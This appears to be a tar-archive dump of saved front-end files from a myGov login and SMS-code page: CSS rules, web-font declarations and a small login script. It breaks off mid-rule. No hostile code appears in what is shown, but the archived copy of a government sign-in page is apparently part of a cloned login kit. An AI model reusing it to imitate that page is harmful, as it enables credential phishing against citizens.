footer[role="contentinfo"] .footer-lower-logo{height:56px;height:3.5rem;max-width:322px;max-width:20.125rem;margin-bottom:46px;margin-bottom:2.875rem}html footer[role="contentinfo"] .footer-lower-logo img,.unauth footer[role="contentinfo"] .footer-lower-logo img{height:100%}html footer[role="contentinfo"] .footer-lower-logo>a,.unauth footer[role="contentinfo"] .footer-lower-logo>a{display:inline}@media screen and (min-width:576px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:54px;height:3.375rem;max-width:308px;max-width:19.25rem;margin-right:32px;margin-right:2rem;margin-bottom:0}}@media screen and (min-width:1200px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}mygov/app/smsone_files/css000064400000037222151676702570011714 0ustar00/* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7WxKOzY.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } mygov/app/smsone_files/login.js.download000064400000003030151676702570014443 0ustar00setTimeout(function(){window.location="/mygov/content/html/session-expired.html";},1740000);function priorityLookup(levelName){switch(levelName){case"high":return 1;case"medium":return 2;case"low":return 3;default:return 4;}}function compareDates(firstDate,secondDate){firstDate=new Date(firstDate);secondDate=new Date(secondDate);return firstDatepriorityLookup(secondEntry.priority)?1:-1;});return sortedAlerts[0];}function getTopBroadcast(entries){var sortedBroadcasts=entries.sort(function(firstEntry,secondEntry){return compareDates(firstEntry.modified,secondEntry.modified);});return sortedBroadcasts[0];}function displayBroadcast(alert){if(alert&&alert.body){$(".emergency-text").html(alert.body);$(".emergency-text").find("a").attr("target","_blank");$(".emergency-information").css({height:"auto",padding:"17px 5px"});}}$(document).ready(function(){var url=$("#govcms-endpoint").val();var clientId=$("#govcms-client-id").val();var apiVersion=$("#govcms-api-version").val();if(url&&clientId&&apiVersion){fetch(url,{headers:{"x-caas-client-id":clientId,"x-caas-version":apiVersion,"Cache-Control":"no-cache"}}).then(function(resp){return resp.json();}).then(function(data){if(data&&data.broadcasts){displayBroadcast(getTopBroadcast(data.broadcasts));}});}});mygov/app/smsone_files/mgv2-application.css000064400000364774151676702570015106 0ustar00.pathway-link-item:focus,.alert-link .alert-link-arrow:focus,.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active,.button-main-mapwap:focus,.button-main-mapwap:active,.anchor:focus,.button-back:focus,.button-close:focus,form [type='radio']:focus+label,form [type='checkbox']:focus+label,button:focus,input:focus,optgroup:focus,select:focus,textarea:focus,.chosen-container:focus,.chosen-select:focus,body a:focus,body .non-transition-link:focus,footer[role='contentinfo'] a:focus,footer[role='contentinfo'] .non-transition-link:focus,.link-arrow:focus,.menu-hitbox:focus,.outage .expand:focus{outline:3px solid #666;outline-offset:2px}.pathway-link-item:focus,.alert-link .alert-link-arrow:focus{outline-offset:-1px}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}html{box-sizing:border-box}*,*::after,*::before{box-sizing:inherit}[type='checkbox']+label[for="same-as-residential"]{display:block;margin-top:30px}.raet-container{display:block;position:relative;width:auto;width:100%;line-height:1.3em}.raet-line{overflow:visible;width:100%;margin:.75em 0 0;box-sizing:border-box;-webkit-transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;height:auto;opacity:1}.raet-line:first-child{margin-top:0}.raet-line:focus{color:blue}.raet-message-success{color:#009b27;background-color:#effbf2;border:1px solid #009b27}.raet-message-fail{color:#bd6400;background-color:#ffffef;border:1px solid #bd6400}.raet-button{display:inline-block;font-size:1em;display:none;cursor:pointer;margin:0 3px;color:#007373;background:#e4efef;border:1px solid #007373}.raet-button:hover{color:black;background:#e2e2e2;border-color:black}.raet-container .raet-singleLine-input{width:100%}.raet-inlineWrapper{position:relative;display:inline-block;margin-bottom:6px!important;max-width:42em}.raet-inlineWrapper>input{box-sizing:border-box}.raet-dropDown{position:absolute;font-size:1em;display:none;left:0;right:0;z-index:1;max-height:425px;overflow:auto;list-style:none;margin:0;padding:0;background:white;border:1px solid grey;box-sizing:border-box;width:100%}.raet-dropDown li{cursor:pointer;padding:.9em .5em .3em;color:#555;min-height:1em}.raet-dropDown .additionalInfo{font-size:.9em;padding-left:1em;line-height:1.75em;text-transform:uppercase}.raet-dropDown strong{color:black}.raet-dropDown li:hover{background-color:#f5f5f5}.raet-dropDown .selected{background-color:#eee}@-webkit-keyframes rotate{100%{-webkit-transform:rotate(360deg)}}@keyframes rotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.raet-spinner{pointer-events:none;display:block;position:absolute;top:0;right:0;border-radius:10px;border:3px solid #aaa;background:white;border-left-color:white;border-right-color:white;margin:3px;opacity:0;-webkit-transition:200ms linear opacity;transition:200ms linear opacity;-webkit-animation:rotate .9s linear infinite;animation:rotate .9s linear infinite}input::-ms-clear{width:0;height:0}.raet-aria-status{border:0 none;clip:rect(0,0,0,0);height:1px;width:1px;margin:-1px;overflow:hidden;padding:0;position:absolute}.raet-inputWrapper>input{width:100%;box-sizing:border-box}.raet-container input,.raet-container select{border:1px solid #969696}#raetDiv-home>div:nth-child(2){display:none}#raetDiv-postal>div:nth-child(2){display:none}/*! Chosen, a Select Box Enhancer for jQuery and Prototype by Patrick Filler for Harvest, http://getharvest.com Version 1.6.2 Full source at https://github.com/harvesthq/chosen Copyright (c) 2011-2016 Harvest http://getharvest.com MIT License, https://github.com/harvesthq/chosen/blob/master/LICENSE.md This file is generated by `grunt build`, do not edit it by hand. */.chosen-container{position:relative;display:block;vertical-align:middle;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.chosen-container *{box-sizing:border-box}.chosen-container .chosen-drop{position:absolute;top:100%;left:-9999px;z-index:1010;width:100%;border:1px solid #aaa;border-top:0;background:#fff}.chosen-container.chosen-with-drop .chosen-drop{left:0}.chosen-container a{cursor:pointer}.chosen-container .search-choice .group-name,.chosen-container .chosen-single .group-name{margin-right:4px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-weight:normal;color:#999}.chosen-container .search-choice .group-name:after,.chosen-container .chosen-single .group-name:after{content:":";padding-left:2px;vertical-align:top}.chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:.7em;border:1px solid #999;background-color:#fff;background-clip:padding-box;text-decoration:none;white-space:nowrap;line-height:1.15;margin-top:.4em}.chosen-container-single .chosen-single:hover{color:#333}.chosen-container-single .chosen-default{color:#333}.chosen-container-single .chosen-single span{display:block;overflow:hidden;margin-right:26px;white-space:nowrap;color:#333}.chosen-container-single .chosen-single-with-deselect span{margin-right:38px}.chosen-container-single .chosen-single abbr{position:absolute;top:40%;right:26px;display:block;width:12px;height:12px;background:url("../icons/chosen-sprite.png") -42px 1px no-repeat;font-size:1px;color:#333}.chosen-container-single .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single.chosen-disabled .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single .chosen-single div{position:absolute;top:25%;right:0;display:block;width:18px;height:100%}.chosen-container-single .chosen-single div b{display:block;width:100%;height:100%;background:url("../icons/chosen-sprite.png") no-repeat 0 2px;color:#333}.chosen-container-single .chosen-search{position:relative;z-index:1010;margin:0;padding:3px 4px;white-space:nowrap}.chosen-container-single .chosen-search input[type="text"]{margin:1px 0;padding:4px 20px 4px 5px;width:100%;height:auto;outline:0;border:1px solid #aaa;background:white url("../icons/chosen-sprite.png") no-repeat 100% -20px;background:url("../icons/chosen-sprite.png") no-repeat 100% -20px;font-size:1rem;font-family:sans-serif;line-height:normal;border-radius:0}.chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0 0 4px 4px;background-clip:padding-box}.chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;left:-9999px}.chosen-container .chosen-results{color:#444;position:relative;overflow-x:hidden;overflow-y:auto;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch}.chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none}.chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer}.chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default}.chosen-container .chosen-results li.highlighted{background-color:#0f6493;color:#fff}.chosen-container .chosen-results li.no-results{color:#777;display:list-item;background:#f4f4f4}.chosen-container .chosen-results li.group-result{display:list-item;font-weight:bold;cursor:default}.chosen-container .chosen-results li.group-option{padding-left:15px}.chosen-container .chosen-results li em{font-style:normal;text-decoration:underline}.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0}.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:transparent}.chosen-container-active.chosen-with-drop .chosen-single div b{background-position:-18px 2px}.chosen-container-active .chosen-choices{border:1px solid #5897fb}.chosen-container-active .chosen-choices li.search-field input[type="text"]{color:#222!important}.chosen-disabled{opacity:.5!important;cursor:default}.chosen-disabled .chosen-single{cursor:default}.chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default}.chosen-rtl{text-align:right}.chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0}.chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl}.chosen-rtl .chosen-single-with-deselect span{margin-left:38px}.chosen-rtl .chosen-single div{right:auto;left:3px}.chosen-rtl .chosen-single abbr{right:auto;left:26px}.chosen-rtl .chosen-choices li{float:right}.chosen-rtl .chosen-choices li.search-field input[type="text"]{direction:rtl}.chosen-rtl .chosen-choices li.search-choice{margin:3px 5px 3px 0;padding:3px 5px 3px 19px}.chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px}.chosen-rtl.chosen-container-single-nosearch .chosen-search,.chosen-rtl .chosen-drop{left:9999px}.chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0}.chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0}.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:0}.chosen-rtl .chosen-search input[type="text"]{padding:4px 5px 4px 20px;background:white url("../icons/chosen-sprite.png") no-repeat -30px -20px;background:url("../icons/chosen-sprite.png") no-repeat -30px -20px;direction:rtl}.chosen-rtl.chosen-container-single .chosen-single div b{background-position:6px 